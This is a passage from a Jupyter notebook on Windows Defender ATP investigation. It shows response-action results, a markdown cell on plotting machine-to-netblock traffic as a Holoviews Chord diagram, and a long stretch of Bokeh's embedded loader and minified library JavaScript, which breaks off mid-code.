AutoIR o...  Succeeded   \\n\",\n       \"\\n\",\n       \"                          type  \\n\",\n       \"0  CollectInvestigationPackage  \\n\",\n       \"0  CollectInvestigationPackage  \\n\",\n       \"0  CollectInvestigationPackage  \"\n      ]\n     },\n     \"execution_count\": 45,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%%wdatp_action\\n\",\n    \"Kindly look at the following actions\\n\",\n    \"845960bf-6148-4151-9c66-d88eeca5e7aa\\n\",\n    \"ae819b45-f343-44dd-9e11-c6d0b2cad565\\n\",\n    \"b7ec6e6f-b984-4058-ab95-d59a369e1a6c\\n\",\n    \"Thanks\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Visualize WDATP data with Holoviews\\n\",\n    \"\\n\",\n    \"Holoviews is an open source visualization library for Python. In this example we select a set of machines (desktops and servers)\\n\",\n    \"and get a list of the netblocks they are communicating with.  We render the data in a Chord diagram. This makes it easy to see\\n\",\n    \"the flows of information and quickly grasp who is talking to whom.\\n\",\n    \"\\n\",\n    \"This kind of visualization can be useful to plot the communication patterns of a set of machines that should be fairly similar \\n\",\n    \"(Domain controllers, databases, HR servers) and quickly see outliers\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 46,\n   \"metadata\": {\n    \"scrolled\": false\n   },\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"rows returned = 49\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"application/javascript\": [\n       \"\\n\",\n       \"(function(root) {\\n\",\n       \"  function now() {\\n\",\n       \"    return new Date();\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  var force = true;\\n\",\n       \"\\n\",\n       \"  if (typeof (root._bokeh_onload_callbacks) === \\\"undefined\\\" || force === true) {\\n\",\n       \"    root._bokeh_onload_callbacks = [];\\n\",\n       \"    root._bokeh_is_loading = undefined;\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  var JS_MIME_TYPE = 'application/javascript';\\n\",\n       \"  var HTML_MIME_TYPE = 'text/html';\\n\",\n       \"  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\\n\",\n       \"  var CLASS_NAME = 'output_bokeh rendered_html';\\n\",\n       \"\\n\",\n       \"  /**\\n\",\n       \"   * Render data to the DOM node\\n\",\n       \"   */\\n\",\n       \"  function render(props, node) {\\n\",\n       \"    var script = document.createElement(\\\"script\\\");\\n\",\n       \"    node.appendChild(script);\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  /**\\n\",\n       \"   * Handle when an output is cleared or removed\\n\",\n       \"   */\\n\",\n       \"  function handleClearOutput(event, handle) {\\n\",\n       \"    var cell = handle.cell;\\n\",\n       \"\\n\",\n       \"    var id = cell.output_area._bokeh_element_id;\\n\",\n       \"    var server_id = cell.output_area._bokeh_server_id;\\n\",\n       \"    // Clean up Bokeh references\\n\",\n       \"    if (id != null && id in Bokeh.index) {\\n\",\n       \"      Bokeh.index[id].model.document.clear();\\n\",\n       \"      delete Bokeh.index[id];\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    if (server_id !== undefined) {\\n\",\n       \"      // Clean up Bokeh references\\n\",\n       \"      var cmd = \\\"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\\\" + server_id + \\\"'].get_sessions()[0].document.roots[0]._id)\\\";\\n\",\n       \"      cell.notebook.kernel.execute(cmd, {\\n\",\n       \"        iopub: {\\n\",\n       \"          output: function(msg) {\\n\",\n       \"            var id = msg.content.text.trim();\\n\",\n       \"            if (id in Bokeh.index) {\\n\",\n       \"              Bokeh.index[id].model.document.clear();\\n\",\n       \"              delete Bokeh.index[id];\\n\",\n       \"            }\\n\",\n       \"          }\\n\",\n       \"        }\\n\",\n       \"      });\\n\",\n       \"      // Destroy server and session\\n\",\n       \"      var cmd = \\\"import bokeh.io.notebook as ion; ion.destroy_server('\\\" + server_id + \\\"')\\\";\\n\",\n       \"      cell.notebook.kernel.execute(cmd);\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  /**\\n\",\n       \"   * Handle when a new output is added\\n\",\n       \"   */\\n\",\n       \"  function handleAddOutput(event, handle) {\\n\",\n       \"    var output_area = handle.output_area;\\n\",\n       \"    var output = handle.output;\\n\",\n       \"\\n\",\n       \"    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\\n\",\n       \"    if ((output.output_type != \\\"display_data\\\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\\n\",\n       \"      return\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    var toinsert = output_area.element.find(\\\".\\\" + CLASS_NAME.split(' ')[0]);\\n\",\n       \"\\n\",\n       \"    if (output.metadata[EXEC_MIME_TYPE][\\\"id\\\"] !== undefined) {\\n\",\n       \"      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\\n\",\n       \"      // store reference to embed id on output_area\\n\",\n       \"      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\\\"id\\\"];\\n\",\n       \"    }\\n\",\n       \"    if (output.metadata[EXEC_MIME_TYPE][\\\"server_id\\\"] !== undefined) {\\n\",\n       \"      var bk_div = document.createElement(\\\"div\\\");\\n\",\n       \"      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\\n\",\n       \"      var script_attrs = bk_div.children[0].attributes;\\n\",\n       \"      for (var i = 0; i < script_attrs.length; i++) {\\n\",\n       \"        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\\n\",\n       \"      }\\n\",\n       \"      // store reference to server id on output_area\\n\",\n       \"      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\\\"server_id\\\"];\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  function register_renderer(events, OutputArea) {\\n\",\n       \"\\n\",\n       \"    function append_mime(data, metadata, element) {\\n\",\n       \"      // create a DOM node to render to\\n\",\n       \"      var toinsert = this.create_output_subarea(\\n\",\n       \"        metadata,\\n\",\n       \"        CLASS_NAME,\\n\",\n       \"        EXEC_MIME_TYPE\\n\",\n       \"      );\\n\",\n       \"      this.keyboard_manager.register_events(toinsert);\\n\",\n       \"      // Render to node\\n\",\n       \"      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\\n\",\n       \"      render(props, toinsert[toinsert.length - 1]);\\n\",\n       \"      element.append(toinsert);\\n\",\n       \"      return toinsert\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    /* Handle when an output is cleared or removed */\\n\",\n       \"    events.on('clear_output.CodeCell', handleClearOutput);\\n\",\n       \"    events.on('delete.Cell', handleClearOutput);\\n\",\n       \"\\n\",\n       \"    /* Handle when a new output is added */\\n\",\n       \"    events.on('output_added.OutputArea', handleAddOutput);\\n\",\n       \"\\n\",\n       \"    /**\\n\",\n       \"     * Register the mime type and append_mime function with output_area\\n\",\n       \"     */\\n\",\n       \"    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\\n\",\n       \"      /* Is output safe? */\\n\",\n       \"      safe: true,\\n\",\n       \"      /* Index of renderer in `output_area.display_order` */\\n\",\n       \"      index: 0\\n\",\n       \"    });\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  // register the mime type if in Jupyter Notebook environment and previously unregistered\\n\",\n       \"  if (root.Jupyter !== undefined) {\\n\",\n       \"    var events = require('base/js/events');\\n\",\n       \"    var OutputArea = require('notebook/js/outputarea').OutputArea;\\n\",\n       \"\\n\",\n       \"    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\\n\",\n       \"      register_renderer(events, OutputArea);\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  \\n\",\n       \"  if (typeof (root._bokeh_timeout) === \\\"undefined\\\" || force === true) {\\n\",\n       \"    root._bokeh_timeout = Date.now() + 5000;\\n\",\n       \"    root._bokeh_failed_load = false;\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  var NB_LOAD_WARNING = {'data': {'text/html':\\n\",\n       \"     \\\"<div style='background-color: #fdd'>\\\\n\\\"+\\n\",\n       \"     \\\"<p>\\\\n\\\"+\\n\",\n       \"     \\\"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\\\n\\\"+\\n\",\n       \"     \\\"may be due to a slow or bad network connection. Possible fixes:\\\\n\\\"+\\n\",\n       \"     \\\"</p>\\\\n\\\"+\\n\",\n       \"     \\\"<ul>\\\\n\\\"+\\n\",\n       \"     \\\"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\\\n\\\"+\\n\",\n       \"     \\\"<li>use INLINE resources instead, as so:</li>\\\\n\\\"+\\n\",\n       \"     \\\"</ul>\\\\n\\\"+\\n\",\n       \"     \\\"<code>\\\\n\\\"+\\n\",\n       \"     \\\"from bokeh.resources import INLINE\\\\n\\\"+\\n\",\n       \"     \\\"output_notebook(resources=INLINE)\\\\n\\\"+\\n\",\n       \"     \\\"</code>\\\\n\\\"+\\n\",\n       \"     \\\"</div>\\\"}};\\n\",\n       \"\\n\",\n       \"  function display_loaded() {\\n\",\n       \"    var el = document.getElementById(null);\\n\",\n       \"    if (el != null) {\\n\",\n       \"      el.textContent = \\\"BokehJS is loading...\\\";\\n\",\n       \"    }\\n\",\n       \"    if (root.Bokeh !== undefined) {\\n\",\n       \"      if (el != null) {\\n\",\n       \"        el.textContent = \\\"BokehJS \\\" + root.Bokeh.version + \\\" successfully loaded.\\\";\\n\",\n       \"      }\\n\",\n       \"    } else if (Date.now() < root._bokeh_timeout) {\\n\",\n       \"      setTimeout(display_loaded, 100)\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  function run_callbacks() {\\n\",\n       \"    try {\\n\",\n       \"      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\\n\",\n       \"    }\\n\",\n       \"    finally {\\n\",\n       \"      delete root._bokeh_onload_callbacks\\n\",\n       \"    }\\n\",\n       \"    console.info(\\\"Bokeh: all callbacks have finished\\\");\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  function load_libs(js_urls, callback) {\\n\",\n       \"    root._bokeh_onload_callbacks.push(callback);\\n\",\n       \"    if (root._bokeh_is_loading > 0) {\\n\",\n       \"      console.log(\\\"Bokeh: BokehJS is being loaded, scheduling callback at\\\", now());\\n\",\n       \"      return null;\\n\",\n       \"    }\\n\",\n       \"    if (js_urls == null || js_urls.length === 0) {\\n\",\n       \"      run_callbacks();\\n\",\n       \"      return null;\\n\",\n       \"    }\\n\",\n       \"    console.log(\\\"Bokeh: BokehJS not loaded, scheduling load and callback at\\\", now());\\n\",\n       \"    root._bokeh_is_loading = js_urls.length;\\n\",\n       \"    for (var i = 0; i < js_urls.length; i++) {\\n\",\n       \"      var url = js_urls[i];\\n\",\n       \"      var s = document.createElement('script');\\n\",\n       \"      s.src = url;\\n\",\n       \"      s.async = false;\\n\",\n       \"      s.onreadystatechange = s.onload = function() {\\n\",\n       \"        root._bokeh_is_loading--;\\n\",\n       \"        if (root._bokeh_is_loading === 0) {\\n\",\n       \"          console.log(\\\"Bokeh: all BokehJS libraries loaded\\\");\\n\",\n       \"          run_callbacks()\\n\",\n       \"        }\\n\",\n       \"      };\\n\",\n       \"      s.onerror = function() {\\n\",\n       \"        console.warn(\\\"failed to load library \\\" + url);\\n\",\n       \"      };\\n\",\n       \"      console.log(\\\"Bokeh: injecting script tag for BokehJS library: \\\", url);\\n\",\n       \"      document.getElementsByTagName(\\\"head\\\")[0].appendChild(s);\\n\",\n       \"    }\\n\",\n       \"  };\\n\",\n       \"\\n\",\n       \"  var js_urls = [];\\n\",\n       \"\\n\",\n       \"  var inline_js = [\\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(t,e){var o,s,r,a,l;t.Bokeh=(o=[function(t,e,i){var n=t(153),r=t(32);i.overrides={};var o=r.clone(n);i.Models=function(t){var e=i.overrides[t]||o[t];if(null==e)throw new Error(\\\"Model '\\\"+t+\\\"' does not exist. This could be due to a widget\\\\n                     or a custom model not being registered before first usage.\\\");return e},i.Models.register=function(t,e){i.overrides[t]=e},i.Models.unregister=function(t){delete i.overrides[t]},i.Models.register_models=function(t,e,i){if(void 0===e&&(e=!1),null!=t)for(var n in t){var r=t[n];e||!o.hasOwnProperty(n)?o[n]=r:null!=i?i(n):console.warn(\\\"Model '\\\"+n+\\\"' was already registered\\\")}},i.register_models=i.Models.register_models,i.Models.registered_names=function(){return Object.keys(o)},i.index={}},function(t,e,o){var s=t(336),a=t(14),l=t(52),h=t(282),u=t(283),c=t(2);o.DEFAULT_SERVER_WEBSOCKET_URL=\\\"ws://localhost:5006/ws\\\",o.DEFAULT_SESSION_ID=\\\"default\\\";var _=0,p=function(){function t(t,e,i,n,r){void 0===t&&(t=o.DEFAULT_SERVER_WEBSOCKET_URL),void 0===e&&(e=o.DEFAULT_SESSION_ID),void 0===i&&(i=null),void 0===n&&(n=null),void 0===r&&(r=null),this.url=t,this.id=e,this.args_string=i,this._on_have_session_hook=n,this._on_closed_permanently_hook=r,this._number=_++,this.socket=null,this.session=null,this.closed_permanently=!1,this._current_handler=null,this._pending_ack=null,this._pending_replies={},this._receiver=new u.Receiver,a.logger.debug(\\\"Creating websocket \\\"+this._number+\\\" to '\\\"+this.url+\\\"' session '\\\"+this.id+\\\"'\\\")}return t.prototype.connect=function(){var i=this;if(this.closed_permanently)return s.Promise.reject(new Error(\\\"Cannot connect() a closed ClientConnection\\\"));if(null!=this.socket)return s.Promise.reject(new Error(\\\"Already connected\\\"));this._pending_replies={},this._current_handler=null;try{var t=this.url+\\\"?bokeh-protocol-version=1.0&bokeh-session-id=\\\"+this.id;return null!=this.args_string&&0<this.args_string.length&&(t+=\\\"&\\\"+this.args_string),this.socket=new WebSocket(t),new s.Promise(function(t,e){i.socket.binaryType=\\\"arraybuffer\\\",i.socket.onopen=function(){return i._on_open(t,e)},i.socket.onmessage=function(t){return i._on_message(t)},i.socket.onclose=function(t){return i._on_close(t)},i.socket.onerror=function(){return i._on_error(e)}})}catch(t){return a.logger.error(\\\"websocket creation failed to url: \\\"+this.url),a.logger.error(\\\" - \\\"+t),s.Promise.reject(t)}},t.prototype.close=function(){this.closed_permanently||(a.logger.debug(\\\"Permanently closing websocket connection \\\"+this._number),this.closed_permanently=!0,null!=this.socket&&this.socket.close(1e3,\\\"close method called on ClientConnection \\\"+this._number),this.session._connection_closed(),null!=this._on_closed_permanently_hook&&(this._on_closed_permanently_hook(),this._on_closed_permanently_hook=null))},t.prototype._schedule_reconnect=function(t){var e=this;setTimeout(function(){e.closed_permanently||a.logger.info(\\\"Websocket connection \\\"+e._number+\\\" disconnected, will not attempt to reconnect\\\")},t)},t.prototype.send=function(t){if(null==this.socket)throw new Error(\\\"not connected so cannot send \\\"+t);t.send(this.socket)},t.prototype.send_with_reply=function(i){var n=this,t=new s.Promise(function(t,e){n._pending_replies[i.msgid()]=[t,e],n.send(i)});return t.then(function(t){if(\\\"ERROR\\\"===t.msgtype())throw new Error(\\\"Error reply \\\"+t.content.text);return t},function(t){throw t})},t.prototype._pull_doc_json=function(){var t=h.Message.create(\\\"PULL-DOC-REQ\\\",{}),e=this.send_with_reply(t);return e.then(function(t){if(!(\\\"doc\\\"in t.content))throw new Error(\\\"No 'doc' field in PULL-DOC-REPLY\\\");return t.content.doc},function(t){throw t})},t.prototype._repull_session_doc=function(){var r=this;null==this.session?a.logger.debug(\\\"Pulling session for first time\\\"):a.logger.debug(\\\"Repulling session\\\"),this._pull_doc_json().then(function(t){if(null==r.session)if(r.closed_permanently)a.logger.debug(\\\"Got new document after connection was already closed\\\");else{var e=l.Document.from_json(t),i=l.Document._compute_patch_since_json(t,e);if(0<i.events.length){a.logger.debug(\\\"Sending \\\"+i.events.length+\\\" changes from model construction back to server\\\");var n=h.Message.create(\\\"PATCH-DOC\\\",{},i);r.send(n)}r.session=new c.ClientSession(r,e,r.id),a.logger.debug(\\\"Created a new session from new pulled doc\\\"),null!=r._on_have_session_hook&&(r._on_have_session_hook(r.session),r._on_have_session_hook=null)}else r.session.document.replace_with_json(t),a.logger.debug(\\\"Updated existing session with new pulled doc\\\")},function(t){throw t}).catch(function(t){null!=console.trace&&console.trace(t),a.logger.error(\\\"Failed to repull session \\\"+t)})},t.prototype._on_open=function(t,e){var i=this;a.logger.info(\\\"Websocket connection \\\"+this._number+\\\" is now open\\\"),this._pending_ack=[t,e],this._current_handler=function(t){i._awaiting_ack_handler(t)}},t.prototype._on_message=function(t){null==this._current_handler&&a.logger.error(\\\"Got a message with no current handler set\\\");try{this._receiver.consume(t.data)}catch(t){this._close_bad_protocol(t.toString())}if(null!=this._receiver.message){var e=this._receiver.message,i=e.problem();null!=i&&this._close_bad_protocol(i),this._current_handler(e)}},t.prototype._on_close=function(t){var i=this;a.logger.info(\\\"Lost websocket \\\"+this._number+\\\" connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\"),(this.socket=null)!=this._pending_ack&&(this._pending_ack[1](new Error(\\\"Lost websocket connection, \\\"+t.code+\\\" (\\\"+t.reason+\\\")\\\")),this._pending_ack=null);for(var e=function(){for(var t in i._pending_replies){var e=i._pending_replies[t];return delete i._pending_replies[t],e}return null},n=e();null!=n;)n[1](\\\"Disconnected\\\"),n=e();this.closed_permanently||this._schedule_reconnect(2e3)},t.prototype._on_error=function(t){a.logger.debug(\\\"Websocket error on socket \\\"+this._number),t(new Error(\\\"Could not open websocket\\\"))},t.prototype._close_bad_protocol=function(t){a.logger.error(\\\"Closing connection: \\\"+t),null!=this.socket&&this.socket.close(1002,t)},t.prototype._awaiting_ack_handler=function(t){var e=this;\\\"ACK\\\"===t.msgtype()?(this._current_handler=function(t){return e._steady_state_handler(t)},this._repull_session_doc(),null!=this._pending_ack&&(this._pending_ack[0](this),this._pending_ack=null)):this._close_bad_protocol(\\\"First message was not an ACK\\\")},t.prototype._steady_state_handler=function(t){if(t.reqid()in this._pending_replies){var e=this._pending_replies[t.reqid()];delete this._pending_replies[t.reqid()],e[0](t)}else this.session.handle(t)},t}();o.ClientConnection=p,o.pull_session=function(i,n,r){return new s.Promise(function(t,e){return new p(i,n,r,function(e){try{t(e)}catch(t){throw a.logger.error(\\\"Promise handler threw an error, closing session \\\"+t),e.close(),t}},function(){e(new Error(\\\"Connection was closed before we successfully pulled a session\\\"))}).connect().then(function(t){},function(t){throw a.logger.error(\\\"Failed to connect to Bokeh server \\\"+t),t})})}},function(t,e,i){var n=t(14),r=t(52),o=t(282),s=function(){function t(t,e,i){var n=this;this._connection=t,this.document=e,this.id=i,this._document_listener=function(t){return n._document_changed(t)},this.document.on_change(this._document_listener),this.event_manager=this.document.event_manager,this.event_manager.session=this}return t.prototype.handle=function(t){var e=t.msgtype();\\\"PATCH-DOC\\\"===e?this._handle_patch(t):\\\"OK\\\"===e?this._handle_ok(t):\\\"ERROR\\\"===e?this._handle_error(t):n.logger.debug(\\\"Doing nothing with message \\\"+t.msgtype())},t.prototype.close=function(){this._connection.close()},t.prototype.send_event=function(t){var e=o.Message.create(\\\"EVENT\\\",{},JSON.stringify(t));this._connection.send(e)},t.prototype._connection_closed=function(){this.document.remove_on_change(this._document_listener)},t.prototype.request_server_info=function(){var t=o.Message.create(\\\"SERVER-INFO-REQ\\\",{}),e=this._connection.send_with_reply(t);return e.then(function(t){return t.content})},t.prototype.force_roundtrip=function(){return this.request_server_info().then(function(t){})},t.prototype._document_changed=function(t){if(t.setter_id!==this.id&&(!(t instanceof r.ModelChangedEvent)||t.attr in t.model.serializable_attributes())){var e=o.Message.create(\\\"PATCH-DOC\\\",{},this.document.create_json_patch([t]));this._connection.send(e)}},t.prototype._handle_patch=function(t){this.document.apply_json_patch(t.content,t.buffers,this.id)},t.prototype._handle_ok=function(t){n.logger.trace(\\\"Unhandled OK reply to \\\"+t.reqid())},t.prototype._handle_error=function(t){n.logger.error(\\\"Unhandled ERROR reply to \\\"+t.reqid()+\\\": \\\"+t.content.text)},t}();i.ClientSession=s},function(t,e,i){var n=t(391),r=t(14),o=t(32),s={};function a(e){return function(t){t.prototype.event_name=e,s[e]=t}}i.register_event_class=a,i.register_with_event=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=t.prototype.applicable_models.concat(e);t.prototype.applicable_models=n};var l=function(){function t(t){void 0===t&&(t={}),this.model_id=null,(this._options=t).model_id&&(this.model_id=t.model_id)}return t.prototype.set_model_id=function(t){return this._options.model_id=t,this.model_id=t,this},t.prototype.is_applicable_to=function(e){return this.applicable_models.some(function(t){return e instanceof t})},t.event_class=function(t){if(t.type)return s[t.type];r.logger.warn(\\\"BokehEvent.event_class required events with a string type attribute\\\")},t.prototype.toJSON=function(){return{event_name:this.event_name,event_values:o.clone(this._options)}},t.prototype._customize_event=function(t){return this},t}();(i.BokehEvent=l).prototype.applicable_models=[];var h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"button_click\\\")],e)}(l);i.ButtonClick=h;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(l),c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodstart\\\")],e)}(i.UIEvent=u);i.LODStart=c;var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodend\\\")],e)}(u);i.LODEnd=_;var p=function(i){function t(t){var e=i.call(this,t)||this;return e.geometry=t.geometry,e.final=t.final,e}return n.__extends(t,i),t=n.__decorate([a(\\\"selectiongeometry\\\")],t)}(u);i.SelectionGeometry=p;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"reset\\\")],e)}(u);i.Reset=d;var f=function(i){function t(t){var e=i.call(this,t)||this;return e.sx=t.sx,e.sy=t.sy,e.x=null,e.y=null,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,model_id:e})},t.prototype._customize_event=function(t){var e=t.plot_canvas.frame.xscales.default,i=t.plot_canvas.frame.yscales.default;return this.x=e.invert(this.sx),this.y=i.invert(this.sy),this._options.x=this.x,this._options.y=this.y,this},t}(u),v=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta_x=t.delta_x,e.delta_y=t.delta_y,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta_x:t.deltaX,delta_y:t.deltaY,direction:t.direction,model_id:e})},t=n.__decorate([a(\\\"pan\\\")],t)}(i.PointEvent=f);i.Pan=v;var m=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.scale=t.scale,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,scale:t.scale,model_id:e})},t=n.__decorate([a(\\\"pinch\\\")],t)}(f);i.Pinch=m;var g=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta=t.delta,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta:t.delta,model_id:e})},t=n.__decorate([a(\\\"wheel\\\")],t)}(f);i.MouseWheel=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mousemove\\\")],e)}(f);i.MouseMove=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseenter\\\")],e)}(f);i.MouseEnter=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseleave\\\")],e)}(f);i.MouseLeave=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"tap\\\")],e)}(f);i.Tap=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"doubletap\\\")],e)}(f);i.DoubleTap=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"press\\\")],e)}(f);i.Press=S;var C=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panstart\\\")],e)}(f);i.PanStart=C;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panend\\\")],e)}(f);i.PanEnd=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchstart\\\")],e)}(f);i.PinchStart=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchend\\\")],e)}(f);i.PinchEnd=E},function(t,e,i){var g=t(391),y=t(21);i.build_views=function(e,t,i,n){void 0===n&&(n=function(t){return t.default_view});for(var r=y.difference(Object.keys(e),t.map(function(t){return t.id})),o=0,s=r;o<s.length;o++){var a=s[o];e[a].remove(),delete e[a]}for(var l=[],h=t.filter(function(t){return null==e[t.id]}),u=0,c=h;u<c.length;u++){var _=c[u],p=n(_),d=g.__assign({},i,{model:_,connect_signals:!1}),f=new p(d);e[_.id]=f,l.push(f)}for(var v=0,m=l;v<m.length;v++){var f=m[v];f.connect_signals()}return l},i.remove_views=function(t){for(var e in t)t[e].remove(),delete t[e]}},function(t,e,i){var n,y=t(44),r=function(g){return function(t){void 0===t&&(t={});for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=document.createElement(g);for(var r in t){var o=t[r];if(null!=o&&(!y.isBoolean(o)||o))if(\\\"class\\\"===r&&y.isArray(o))for(var s=0,a=o;s<a.length;s++){var l=a[s];null!=l&&n.classList.add(l)}else if(\\\"style\\\"===r&&y.isPlainObject(o))for(var h in o)n.style[h]=o[h];else if(\\\"data\\\"===r&&y.isPlainObject(o))for(var u in o)n.dataset[u]=o[u];else n.setAttribute(r,o)}function c(t){if(t instanceof HTMLElement)n.appendChild(t);else if(y.isString(t))n.appendChild(document.createTextNode(t));else if(null!=t&&!1!==t)throw new Error(\\\"expected an HTMLElement, string, false or null, got \\\"+JSON.stringify(t))}for(var _=0,p=e;_<p.length;_++){var d=p[_];if(y.isArray(d))for(var f=0,v=d;f<v.length;f++){var m=v[f];c(m)}else c(d)}return n}};function o(t,e){var i=Element.prototype,n=i.matches||i.webkitMatchesSelector||i.mozMatchesSelector||i.msMatchesSelector;return n.call(t,e)}i.createElement=function(t,e){for(var i=[],n=2;n<arguments.length;n++)i[n-2]=arguments[n];return r(t).apply(void 